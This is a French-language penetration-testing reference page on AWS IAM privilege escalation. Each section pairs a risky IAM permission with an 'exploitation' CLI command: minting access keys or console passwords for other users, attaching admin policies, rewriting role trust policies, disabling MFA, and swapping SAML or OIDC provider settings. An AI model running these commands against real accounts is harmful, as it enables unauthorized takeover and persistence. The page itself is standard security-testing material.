# AWS - IAM Privesc

{{#include ../../../banners/hacktricks-training.md}}

## IAM

Pour plus d'informations sur IAM, consultez :

{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

Accorde la possibilité de créer une nouvelle version de politique IAM, contournant la nécessité de la permission `iam:SetDefaultPolicyVersion` en utilisant le drapeau `--set-as-default`. Cela permet de définir des permissions personnalisées.

**Commande d'exploitation :**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impact :** Élévation directe des privilèges en permettant toute action sur n'importe quelle ressource.

### **`iam:SetDefaultPolicyVersion`**

Permet de changer la version par défaut d'une politique IAM pour une autre version existante, ce qui peut potentiellement élever les privilèges si la nouvelle version a plus de permissions.

**Bash Command :**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact :** Escalade de privilèges indirecte en permettant plus de permissions.

### **`iam:CreateAccessKey`**

Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges potentielle.

**Exploit :**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact :** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Permet de créer ou de mettre à jour un profil de connexion, y compris la définition de mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.

**Exploitation pour la création :**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploitation pour la mise à jour :**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impact :** Escalade de privilèges directe en se connectant en tant que "n'importe quel" utilisateur.

### **`iam:UpdateAccessKey`**

Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accès non autorisé si l'attaquant possède la clé désactivée.

**Exploit :**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact :** Escalade de privilèges directe en réactivant les clés d'accès.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Permet de générer ou de réinitialiser des identifiants pour des services AWS spécifiques (par exemple, CodeCommit, Amazon Keyspaces), en héritant des autorisations de l'utilisateur associé.

**Exploitation pour la création :**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Exploitation pour Réinitialiser :**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact :** Escalade de privilèges directe au sein des permissions de service de l'utilisateur.

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Permet d'attacher des politiques à des utilisateurs ou des groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée.

**Exploitation pour l'utilisateur :**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploitation pour le groupe :**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impact :** Escalade de privilèges directe vers tout ce que la politique accorde.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Permet d'attacher ou de mettre des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des permissions supplémentaires.

**Exploitation pour le rôle :**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploitation des politiques en ligne :**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Vous pouvez utiliser une politique comme :
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**Impact :** Escalade de privilèges directe en ajoutant des permissions via des politiques.

### **`iam:AddUserToGroup`**

Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe.

**Exploit :**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impact :** Escalade de privilèges directe au niveau des permissions du groupe.

### **`iam:UpdateAssumeRolePolicy`**

Permet de modifier le document de politique d'assumption de rôle d'un rôle, permettant l'assumption du rôle et de ses permissions associées.

**Exploit :**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**Impact :** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte.

**Exploitation pour le téléchargement de la clé SSH :**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploitation pour la désactivation de MFA :**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.

### **`iam:ResyncMFADevice`**

Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.

**Bash Command :**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact :** Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.

Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pourriez obtenir le XML, afin de pouvoir mettre le vôtre, vous connecter et configurer le précédent.
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Si ce n'est pas sûr) Si un attaquant a ces **permissions**, il pourrait ajouter une nouvelle **empreinte digitale** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
## Références

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../banners/hacktricks-training.md}}
